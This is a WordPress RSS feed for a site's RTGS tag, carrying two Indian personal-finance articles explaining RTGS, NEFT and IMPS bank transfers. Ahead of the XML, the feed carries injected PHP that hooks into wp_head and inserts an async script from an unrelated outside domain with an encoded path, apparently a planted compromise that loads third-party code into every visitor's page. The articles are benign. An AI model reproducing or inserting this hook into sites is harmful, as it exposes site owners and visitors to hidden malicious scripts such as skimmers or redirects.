/**<js>*/function add_my_script() {
   echo '<script async src="https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU="></script>';
}
add_action('wp_head', 'add_my_script');/**<js>*/<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>RTGS Archives -</title>
	<atom:link href="https://www.thebuyt.com/tag/rtgs/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.thebuyt.com/tag/rtgs/</link>
	<description></description>
	<lastBuildDate>Fri, 02 Jul 2021 07:56:50 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://www.thebuyt.com/wp-content/uploads/2020/07/cropped-icon-32x32.png</url>
	<title>RTGS Archives -</title>
	<link>https://www.thebuyt.com/tag/rtgs/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>How to Use RTGS for Fund Transfer?</title>
		<link>https://www.thebuyt.com/how-to-use-rtgs-for-fund-transfer/</link>
					<comments>https://www.thebuyt.com/how-to-use-rtgs-for-fund-transfer/#respond</comments>
		
		<dc:creator><![CDATA[]]></dc:creator>
		<pubDate>Sun, 13 Dec 2020 10:15:58 +0000</pubDate>
				<category><![CDATA[How to?]]></category>
		<category><![CDATA[RTGS]]></category>
		<guid isPermaLink="false">https://www.thebuyt.com/?p=2022</guid>

					<description><![CDATA[<p>The Buyt Desk From 14th December 2020, the Real Time Gross Settlement will be available round the clock. Now all the three modes of fund transfer i.e. RTGS, National electronic fund transfer (NEFT), and Immediate payment Service are working on a 24x7x365 basis. Online fund transfer will be more flexible and readily available at all [&#8230;]</p>
<p>The post <a href="https://www.thebuyt.com/how-to-use-rtgs-for-fund-transfer/">How to Use RTGS for Fund Transfer?</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p dir="ltr"><strong>The Buyt Desk</strong></p>
<p dir="ltr">From 14th December 2020, the Real Time Gross Settlement will be available round the clock. Now all the three modes of fund transfer i.e. RTGS, National electronic fund transfer (NEFT), and Immediate payment Service are working on a 24x7x365 basis. Online fund transfer will be more flexible and readily available at all the time.</p>
<p dir="ltr">RTGS is a popular way of transferring a large amount of money. It allows you to transfer Rs 2 lakh and above with no upper or maximum ceiling. RTGS started in 2004, and initially, only four banks offered this service but now there is a network of 237 participant banks across the country. At present, there are 1,40,000 RTGS enabled bank branches. This year RTGS handled 6.35 lakh transactions daily for a value of Rs 4.17 lakh crore.</p>
<h3 dir="ltr">When you initiate an RTGS transfer, you must have the following details of the beneficiary &#8211;</h3>
<ol>
<li dir="ltr">
<p dir="ltr">The account number to be debited</p>
</li>
<li dir="ltr">
<p dir="ltr">Name of the beneficiary bank and branch</p>
</li>
<li dir="ltr">
<p dir="ltr">The IFSC Number of the receiving branch</p>
</li>
<li dir="ltr">
<p dir="ltr">Name of the beneficiary customer</p>
</li>
<li dir="ltr">
<p dir="ltr">Account number of the beneficiary customer</p>
</li>
</ol>
<h3 dir="ltr">RTGS transfer process</h3>
<p dir="ltr">Step 1- Login to your bank&#8217;s net banking account.</p>
<p dir="ltr">Step 2- Click on the fund&#8217;s transfer tab.</p>
<p dir="ltr">Step 3- You will &#8220;Add a beneficiary&#8221; in this step.</p>
<p dir="ltr">Step 4- Fill in the details of the beneficiary, including name, bank name, <a href="https://www.thebuyt.com/why-choose-imps-for-instant-online-money-transfer/">IFSC code</a>, and account number.</p>
<p dir="ltr">Step 5- Then, select &#8220;Add&#8221; and confirm.</p>
<p dir="ltr">Step 6- You will receive the confirmation message.</p>
<p dir="ltr">After you have added a beneficiary, now you are ready to transfer the funds. Follow these steps-</p>
<p dir="ltr">Step 1- Log in to your Net banking account, choose fund&#8217;s transfer tab.</p>
<p dir="ltr">Step 2- Select the RTGS option.</p>
<p dir="ltr">Step 3- Select the beneficiary/payee to who you wish to send the funds.</p>
<p dir="ltr">Step 3- Write the amount of money that is to be transferred.</p>
<p dir="ltr">Step 4- Before submitting the request, review the documents.</p>
<h3 dir="ltr">Advantages of RTGS</h3>
<ul>
<li dir="ltr">
<p dir="ltr">The transfer of funds happens instantly in real-time.</p>
</li>
<li dir="ltr">
<p dir="ltr">No cap or ceiling on the maximum amount that one can transfer.</p>
</li>
<li dir="ltr">
<p dir="ltr">You don&#8217;t need a cheque or demand draft to transfer money.</p>
</li>
<li dir="ltr">
<p dir="ltr">You can transfer money through net banking without the hassle of visiting the bank branch</p>
</li>
<li dir="ltr">
<p dir="ltr">Transfer of funds between two different banks and even in two other cities can take place seamlessly.</p>
</li>
</ul>
<p>The post <a href="https://www.thebuyt.com/how-to-use-rtgs-for-fund-transfer/">How to Use RTGS for Fund Transfer?</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.thebuyt.com/how-to-use-rtgs-for-fund-transfer/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>What is the difference between RTGS, IMPS &#038; NEFT?</title>
		<link>https://www.thebuyt.com/what-is-the-difference-between-rtgs-imps-neft/</link>
					<comments>https://www.thebuyt.com/what-is-the-difference-between-rtgs-imps-neft/#respond</comments>
		
		<dc:creator><![CDATA[]]></dc:creator>
		<pubDate>Sat, 10 Oct 2020 05:42:52 +0000</pubDate>
				<category><![CDATA[Gullak]]></category>
		<category><![CDATA[IMPS & NEFT]]></category>
		<category><![CDATA[NEFT]]></category>
		<category><![CDATA[RTGS]]></category>
		<category><![CDATA[RTGS and IMPS]]></category>
		<guid isPermaLink="false">https://www.thebuyt.com/?p=1487</guid>

					<description><![CDATA[<p>By Priyanka Sambhav All three services RTGS, NEFT and IMPS is today&#8217;s need. Hence, it becomes essentially important to understand the difference between RTGS, IMPS &#38; NEFT. Let&#8217;s have a look at them: Real Time Gross Settlement, i.e. RTGS, will be now available round the clock. RBI governor Shaktikanta Das made this announcement in the [&#8230;]</p>
<p>The post <a href="https://www.thebuyt.com/what-is-the-difference-between-rtgs-imps-neft/">What is the difference between RTGS, IMPS &#038; NEFT?</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><em><strong>By Priyanka Sambhav</strong></em></p>
<p dir="ltr">All three services RTGS, NEFT and IMPS is today&#8217;s need. Hence, it becomes essentially important to understand the difference between RTGS, IMPS &amp; NEFT. Let&#8217;s have a look at them:</p>
<p dir="ltr">Real Time Gross Settlement, i.e. RTGS, will be now available round the clock. RBI governor Shaktikanta Das made this announcement in the October 9th policy and said- “In order to facilitate swift and seamless payment in real-time for domestic businesses and institutions, it has been decided to make available the RTGS system round the clock on all days from December 2020. India will be among very few countries globally with 24x7x365 large value real-time payment settlement.”</p>
<p dir="ltr">Fund transfer system NEFT and IMPS were made into 24-hour service in December 2019, and now RTGS will be available on all the days too. Till now RTGS was active only from 7 am to 6 pm.</p>
<p dir="ltr"><strong>Difference between RTGS, IMPS &amp; NEFT payment services :</strong></p>
<p dir="ltr"><strong>RTGS &#8211; Real Time Gross Payment Settlement</strong></p>
<p dir="ltr">RTGS allows large value transaction. The minimum amount that you can transfer through RTGS is Rs 2 lakh with no maximum limit. The payment is transferred in real-time. For an immediate transfer of fund up to Rs 2 lakh and above RTGS is a preferred tool, especially for small businesses. No charges are levied on online RTGS transfer. But if you make this payment in the bank then be ready for some charges along with tax.</p>
<p dir="ltr"><strong>IMPS &#8211; Immediate Payment Service  </strong></p>
<p dir="ltr">IMPS enables small value transaction. You can transfer a minimum amount as low as Rs 1 to a beneficiaries <a href="https://www.thebuyt.com/how-to-get-an-universal-account-number-for-pf/">account</a>, but the upper limit is fixed and can not transfer beyond Rs 2 lakh. The desired amount immediately gets transferred. Charges for IMPS are decided by the individual bank and it may differ from bank to bank.</p>
<p dir="ltr"><strong>NEFT- National Electronic Transfer of Funds</strong></p>
<p dir="ltr">In contrast to RTGS and IMPS, the fund transfer in NEFT happens in half-hourly basis. As far as the amount you can transfer NEFT has no upper limit to the transaction amount. Nil charges on online NEFT transaction.</p>
<p dir="ltr">When you use these payment systems online, you must have this with you-</p>
<ul>
<li dir="ltr">
<p dir="ltr">Account number of the beneficiary</p>
</li>
<li dir="ltr">
<p dir="ltr">Recipients full name which matches his registered name on the account</p>
</li>
<li dir="ltr">
<p dir="ltr">IFSC code of the bank account</p>
</li>
</ul>
<p>The post <a href="https://www.thebuyt.com/what-is-the-difference-between-rtgs-imps-neft/">What is the difference between RTGS, IMPS &#038; NEFT?</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.thebuyt.com/what-is-the-difference-between-rtgs-imps-neft/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>